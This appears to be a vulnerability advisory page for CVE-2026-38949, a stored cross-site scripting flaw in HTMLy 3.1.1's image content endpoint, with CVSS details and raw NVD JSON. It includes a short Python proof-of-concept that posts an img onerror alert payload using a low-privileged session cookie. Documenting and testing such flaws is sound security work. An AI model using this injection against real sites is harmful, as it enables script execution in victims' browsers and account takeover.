Security Vulnerability Report
中文
CVE-2026-38949 CVSS 8.9 HIGH

CVE-2026-38949

Published: 2026-04-28 19:37:39
Last Modified: 2026-05-10 20:16:29

Description

Cross-Site Scripting (XSS) vulnerability exists in HTMLy version 3.1.1 in the content creation functionality at the /add/content?type=image endpoint. The application fails to properly sanitize user input, allowing injection of arbitrary code

CVSS Details

CVSS Score
8.9
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

HTMLy 3.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL configuration target_url = "http://target.com/add/content?type=image" # Attacker's session cookie (Low privileged user required) cookies = { "PHPSESSID": "valid_low_priv_session_id" } # Malicious payload: An image tag with onerror event to trigger XSS # This payload will be stored and executed when a user views the content payload = '<img src=x onerror=alert("CVE-2026-38949_POC")>' # Data payload for the request data = { "content": payload, "title": "XSS Proof of Concept" } try: # Send POST request to inject the payload response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Navigate to the created content page to trigger the XSS.") else: print(f"[-] Injection failed. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-38949", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:38.937", "lastModified": "2026-05-10T20:16:28.647", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Scripting (XSS) vulnerability exists in HTMLy version 3.1.1 in the content creation functionality at the /add/content?type=image endpoint. The application fails to properly sanitize user input, allowing injection of arbitrary code"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/Chittu13/cve-research/blob/main/CVE-2026-38949/README.md", "source": "[email protected]"}, {"url": "https://github.com/danpros/htmly", "source": "[email protected]"}, {"url": "https://youtu.be/3e-tzUMCox8", "source": "[email protected]"}, {"url": "https://github.com/Chittu13/cve-research/blob/main/CVE-2026-38949/README.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}